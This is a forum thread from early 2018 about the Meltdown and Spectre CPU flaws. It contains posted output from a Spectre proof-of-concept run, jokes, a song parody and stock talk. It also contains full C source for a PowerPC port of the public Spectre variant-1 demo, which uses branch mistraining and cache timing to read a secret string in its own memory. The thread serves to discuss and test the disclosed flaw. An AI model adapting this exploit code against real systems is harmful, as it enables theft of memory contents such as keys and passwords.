Intel FUBAR ... again - Kernel memory leak in nearly every Intel CPU of the last decade (Spectre hits everyone, Meltdown still Intel exclusive)

1 Like

Yes, the first is a 1700. I didn’t do anything.

I just did this:

cd spectre
 ~/spectre  ls
spectre.c
 ~/spectre  gcc -o spectre spectre.c -O0
 ~/spectre  ./spectre
Reading 23 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac1... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac2... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac6... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac7... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac8... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffac9... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffaca... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffacb... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffacc... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdfface... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffacf... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad0... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad1... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad2... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad3... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad4... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0xFF=’?’ score=0 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0xFF=’?’ score=0 
 ~/spectre  

I could definitely try optimized code. I’m on fedora.

uname -a
Linux metropolis 4.14.8-300.fc27.x86_64 #1 SMP Wed Dec 20 19:00:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

grabs tinfoil hat
Maybe intel talked to nvidia as it may impact performance on gpus.
And because nvidia is salty because intel now sources igpus from amd, they leaked it…

No it needs unoptimzed code.
It’s rather surprising that it didn’t work.

Because it should work.

possibly because fedora’s kernel is already patched against it?
just guessing though

This is spectre. I don’t think they’ve added retpolines that fast nevermind for 4.14.8 already

1 Like

Careful

Fear is the path to the dark side. Fear leads to anger. Anger leads to hate. Hate leads to NVIDIA!

I do like the code names they gave to them

meltdown = clear and present danger
spectre = intangible threat

2 Likes

Uh oh. Wine performance is going to be impacted. So this affects Passthrough VM people, and Wine Staging people using Wine for gaming… https://www.phoronix.com/scan.php?page=news_item&px=Wine-KPTI-Potential-Hit

It’s been doing this for weeks, meanwhile Intel stocks going up further with bad news ¯\_(ツ)_/¯

1 Like

Torpcoms attempts some memes:

“I say we disable branch prediction entirely – It’s the only way to be sure”


But January made me shiver,
With every instruction I’d deliver,
Bad news on the cacheline,
I couldn’t guess one more time.

So, bye bye, branch prediction goodbye,
This codepath is good guess, but they won’t let me try,
So instructions wait, that I’m sure I should take,
Who cares if I’m in userland code?
Who cares if I’m in userland code?

6 Likes

That is odd…

Nope, it’s not.

1 Like

That is fucking genius!

:smiley:

l1t crew need to sing this in one of their intros :stuck_out_tongue:

Because only real solution is “get new CPU” so investors be like:

2 Likes

amd’s investors you mean

2 Likes

At @FaunCB

Here’s one for PPC

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

// ---->>>> POWERPC commented out - see below the implementation of rdtscp(), _mm_clflush() replaced by a 'dcbf'
//#ifdef _MSC_VER
//#include <intrin.h> /* for rdtscp and clflush */
//#pragma optimize("gt",on)
//#else
//#include <x86intrin.h> /* for rdtscp and clflush */
//#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

static __inline__ unsigned long long rdtscp(void *junk)
{
  unsigned long long int result=0;
  unsigned long int upper, lower,tmp;
  __asm__ volatile(
                "0:                  \n"
                "\tmftbu   %0           \n"
                "\tmftb    %1           \n"
                "\tmftbu   %2           \n"
                "\tcmpw    %2,%0        \n"
                "\tbne     0b         \n"
                : "=r"(upper),"=r"(lower),"=r"(tmp)
                );
  result = upper;
  result = result<<32;
  result = result|lower;

  return(result);
}

#define FLUSH(x) __asm__ __volatile__(\
 "dcbf 0,%0  ;  sync  ;  isync  ; sync" \
 :                        \
 : "r" (x)                \
 : "memory"              \
)

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD 8 /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
//      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
      FLUSH(& array2[i * 512]);
 
    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      volatile int z;
//      _mm_clflush( & array1_size);
      FLUSH(& array1_size);
      for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=\"%c\" score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? (char)value[0] : "?"), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}

May need to change CACHE_HIT_THRESHOLD depending on which PPC CPU.

1 Like

Well, apparently not, that’s the problem :smiley:

1 Like

is there one for ARM?

Are you writing these or is there a source you’re getting them from?

Yeah… AMD is still up around 11.80 at time of writing. Yeah, it’s not $15, but it’s still up 18%.

Some from github gists. Some just quickly botched together. :smiley:

Here’s someone’s Meltdown PoC code.